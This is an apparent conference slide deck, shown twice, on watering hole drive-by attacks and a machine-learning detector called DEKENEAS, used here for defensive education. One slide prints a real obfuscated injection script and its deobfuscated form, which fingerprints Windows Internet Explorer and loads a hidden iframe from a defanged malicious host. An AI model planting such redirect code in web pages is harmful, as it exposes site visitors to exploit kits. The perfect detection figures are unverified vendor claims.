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LIONS AND
THE WATERING HOLE
ANDREI BOZEANU
Cybersecurity Researcher
Founder, DEKENEAS
“WHAT IF I TOLD YOU THERE’S A TYPE OF CYBER ATTACK
THAT CAN INFECT YOUR COMPUTER WITHOUT YOU DOING
ANYTHING?”
IT’S CALLED “DRIVE-BY EXPLOITATION”. AND IT’S
DELIVERED THROUGH A VERY STEALTH TECHNIQUE CALLED
“WATERING HOLE”.
EVERYBODY IS FAMILIAR WITH PHISHING, SPEARPHISHING
OR DIRECT SERVER ATTACKS…
… BUT NOT MANY PEOPLE HEARD ABOUT WATERING HOLE
ATTACKS.
WHAT HAPPENS DURING A WATERING HOLE
ATTACK?
An adversary gains access to a system through a user visiting a website
through the normal course of browsing just like preditors stalking prey in
a real life watering hole
.
WHAT HAPPENS DURING A WATERING HOLE
ATTACK?
The attacker compromises a website a certain group of people normally visit
and alters the HTML code in such ways that the users are redirected to an
exploit kit who performs the actual exploitation.
.The actual exploitation will be or will not be performed against users
depending on certain factors, such as User-agent or IP addresses.
WHAT HAPPENS DURING A WATERING HOLE
ATTACK?
Finally, the exploitation kit installs a malware implant inside unsuspecting
user’s device.
AFFECTED OPERATING SYSTEMS & DEVICES
- All Unix
- All Windows
- All iOS
- All Android
RECENT HIGH PROFILE KNOWN COMPROMISES
- - Facebook, Google, Twitter – 2013, through an iOS dev forum
- - undisclosed financial targets – 2014, through forbes.com
- - Dragonfly campaign targeting multiple US government and critical
infrastructure sectors – 2016, through 3rd party suppliers websites
- - Polish banks – 2017, through the website of Financial Supervision
Authority of Poland
- - many others go undetected or as “unknown infection vector”
WHY ARE WATERING HOLES HARD TO DETECT?
- - unlike spearphishing or phishing there is no e-mail or other user
interaction involved
- - unlike direct service attacks there are no logs
- - the redirection to the compromised website happens in browser and
most of the times is highly obfuscated so no signature can be extracted
- - there rarely are two watering hole implants looking the same
therefore no signature can be extracted
WHY ARE WATERING HOLES HARD TO DETECT?
- - most of the times the exploit kits used employ either 0day or 1day
vulnerabilities so there is either no patch, or people had no time to patch
- - the deobfuscation routine runs in browser therefore an AV or firewall
running outside the browser cannot see the deobfuscated code, in order to
trigger alarms
- - the implants make use of anti-analysis techniques to deter automated
sandbox analysis
- - ALL KNOWN WATERING HOLE ATTACKS HAD BEEN DISCOVERED IN
POST EXPLOITATION STAGE, LONG AFTER THE ACTUAL COMPROMISE
OBFUSCATED WATERING HOLE JAVASCRIPT
VS. DEOBFUSCATED WATERING HOLE
JAVASCRIPT
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))
+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repla
ce(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return
d[e]}];e=function(){return'w+'};c=1};while(c--
){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('i
9(){a=6.h('b');7(!a){5
0=6.j('k');6.g.l(0);0.n='b';0.4.d='8';0.4.c='8';0.4.e='f';0.m='w://
z.o.B/C.D?t=E'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-
1&&2.3("s")==-1))&&2.3("v")!=-1){5
t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFra
meEx|element|yahoo_api|height|
width|display|none|body|getElementById|function|createElement|ifra
me|appendChild|src|id|nl|msie|
toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000
|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
 function MakeFrameEx(){
element = document.getElementById('yahoo_api');
if (!element){
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src =
'hxxp://juyfdjhdjdgh.nl.ai/showthread.php?t=72241732'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1
&& ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
var t = setTimeout("MakeFrameEx()", 1000)
}
DETECTING WATERING HOLES THROUGH ARTIFICIAL
INTELLIGENCE - DEKENEAS
- - detecting the watering hole in post exploitation stage is
unacceptable in a secure computing environment
- - we focused on detecting the watering hole in its earliest stage:
redirection
- - redirection can be performed through various DOM elements, such
as iframes, document location or meta refresh, but most often
Javascript is used to conceal this behavior through obfuscation
DETECTING WATERING HOLES THROUGH ARTIFICIAL
INTELLIGENCE - DEKENEAS
- - to conclude our research we analyzed over 40,000 malicious redirect samples
- - we were able to determine general behavior metrics such as obfuscation, redirection,
anti analysis capabilities, coding patterns and typologies
- - by analyzing the HTML/Javascript instruction set we were able to classify instructions
based on these metrics and create a model to be used in our machine learning algorithm
- - not only instructions give the score, but also their context and placement inside the
code
- - we used +30k samples to train our algorithm and the remaining 10k were used to test
the algorithm
- - we use a supervised random forests implementation for classification because it uses
collections of trees with a random parameter holdout to build models, which often
outperforms individual trees.
DETECTING WATERING HOLES THROUGH ARTIFICIAL
INTELLIGENCE - DEKENEAS
- - the AI prediction is used to make the decision wether the DOM element
is suspicious or not
- - a Javascript and a generic sandbox are used in parallel to analyze
suspicious DOM elements, emulating user interaction (mouse movement,
keyboard activity, non-standard screen resolutions, etc.)
- - if there is inconsistency between AI predictions and sandboxes results,
the suspect DOM element is submitted for manual analysis
- - manual analysis is used to further train the machine learning algorithm,
thus diminishing the false positives/negatives.
DETECTING WATERING HOLES THROUGH ARTIFICIAL
INTELLIGENCE - DEKENEAS
- - we used approximately 10,000 malicious DOM samples and ALEXA
TOP 1000 websites to test our machine learning algorithm
- - during the testing phase we achieved 100% detection rate for
previously unknown implants, 0% false negative, 0.00023% false
positives.
THANK YOU!
- andrei.bozeanu@gmail.com

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The lions and the watering hole

  • 1. LIONS AND THE WATERING HOLE ANDREI BOZEANU Cybersecurity Researcher Founder, DEKENEAS
  • 2. “WHAT IF I TOLD YOU THERE’S A TYPE OF CYBER ATTACK THAT CAN INFECT YOUR COMPUTER WITHOUT YOU DOING ANYTHING?”
  • 3. IT’S CALLED “DRIVE-BY EXPLOITATION”. AND IT’S DELIVERED THROUGH A VERY STEALTH TECHNIQUE CALLED “WATERING HOLE”.
  • 4. EVERYBODY IS FAMILIAR WITH PHISHING, SPEARPHISHING OR DIRECT SERVER ATTACKS… … BUT NOT MANY PEOPLE HEARD ABOUT WATERING HOLE ATTACKS.
  • 5. WHAT HAPPENS DURING A WATERING HOLE ATTACK? An adversary gains access to a system through a user visiting a website through the normal course of browsing just like preditors stalking prey in a real life watering hole .
  • 6. WHAT HAPPENS DURING A WATERING HOLE ATTACK? The attacker compromises a website a certain group of people normally visit and alters the HTML code in such ways that the users are redirected to an exploit kit who performs the actual exploitation. .The actual exploitation will be or will not be performed against users depending on certain factors, such as User-agent or IP addresses.
  • 7. WHAT HAPPENS DURING A WATERING HOLE ATTACK? Finally, the exploitation kit installs a malware implant inside unsuspecting user’s device.
  • 8.
  • 9. AFFECTED OPERATING SYSTEMS & DEVICES - All Unix - All Windows - All iOS - All Android
  • 10. RECENT HIGH PROFILE KNOWN COMPROMISES - - Facebook, Google, Twitter – 2013, through an iOS dev forum - - undisclosed financial targets – 2014, through forbes.com - - Dragonfly campaign targeting multiple US government and critical infrastructure sectors – 2016, through 3rd party suppliers websites - - Polish banks – 2017, through the website of Financial Supervision Authority of Poland - - many others go undetected or as “unknown infection vector”
  • 11. WHY ARE WATERING HOLES HARD TO DETECT? - - unlike spearphishing or phishing there is no e-mail or other user interaction involved - - unlike direct service attacks there are no logs - - the redirection to the compromised website happens in browser and most of the times is highly obfuscated so no signature can be extracted - - there rarely are two watering hole implants looking the same therefore no signature can be extracted
  • 12. WHY ARE WATERING HOLES HARD TO DETECT? - - most of the times the exploit kits used employ either 0day or 1day vulnerabilities so there is either no patch, or people had no time to patch - - the deobfuscation routine runs in browser therefore an AV or firewall running outside the browser cannot see the deobfuscated code, in order to trigger alarms - - the implants make use of anti-analysis techniques to deter automated sandbox analysis - - ALL KNOWN WATERING HOLE ATTACKS HAD BEEN DISCOVERED IN POST EXPLOITATION STAGE, LONG AFTER THE ACTUAL COMPROMISE
  • 13. OBFUSCATED WATERING HOLE JAVASCRIPT VS. DEOBFUSCATED WATERING HOLE JAVASCRIPT eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a))) +((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repla ce(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c-- ){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('i 9(){a=6.h('b');7(!a){5 0=6.j('k');6.g.l(0);0.n='b';0.4.d='8';0.4.c='8';0.4.e='f';0.m='w:// z.o.B/C.D?t=E'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==- 1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFra meEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|ifra me|appendChild|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000 |juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))  function MakeFrameEx(){ element = document.getElementById('yahoo_api'); if (!element){ var el = document.createElement('iframe'); document.body.appendChild(el); el.id = 'yahoo_api'; el.style.width = '1px'; el.style.height = '1px'; el.style.display = 'none'; el.src = 'hxxp://juyfdjhdjdgh.nl.ai/showthread.php?t=72241732' } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1)) && ua.indexOf("windows") !=- 1){ var t = setTimeout("MakeFrameEx()", 1000) }
  • 14. DETECTING WATERING HOLES THROUGH ARTIFICIAL INTELLIGENCE - DEKENEAS - - detecting the watering hole in post exploitation stage is unacceptable in a secure computing environment - - we focused on detecting the watering hole in its earliest stage: redirection - - redirection can be performed through various DOM elements, such as iframes, document location or meta refresh, but most often Javascript is used to conceal this behavior through obfuscation
  • 15. DETECTING WATERING HOLES THROUGH ARTIFICIAL INTELLIGENCE - DEKENEAS - - to conclude our research we analyzed over 40,000 malicious redirect samples - - we were able to determine general behavior metrics such as obfuscation, redirection, anti analysis capabilities, coding patterns and typologies - - by analyzing the HTML/Javascript instruction set we were able to classify instructions based on these metrics and create a model to be used in our machine learning algorithm - - not only instructions give the score, but also their context and placement inside the code - - we used +30k samples to train our algorithm and the remaining 10k were used to test the algorithm - - we use a supervised random forests implementation for classification because it uses collections of trees with a random parameter holdout to build models, which often outperforms individual trees.
  • 16. DETECTING WATERING HOLES THROUGH ARTIFICIAL INTELLIGENCE - DEKENEAS - - the AI prediction is used to make the decision wether the DOM element is suspicious or not - - a Javascript and a generic sandbox are used in parallel to analyze suspicious DOM elements, emulating user interaction (mouse movement, keyboard activity, non-standard screen resolutions, etc.) - - if there is inconsistency between AI predictions and sandboxes results, the suspect DOM element is submitted for manual analysis - - manual analysis is used to further train the machine learning algorithm, thus diminishing the false positives/negatives.
  • 17. DETECTING WATERING HOLES THROUGH ARTIFICIAL INTELLIGENCE - DEKENEAS - - we used approximately 10,000 malicious DOM samples and ALEXA TOP 1000 websites to test our machine learning algorithm - - during the testing phase we achieved 100% detection rate for previously unknown implants, 0% false negative, 0.00023% false positives.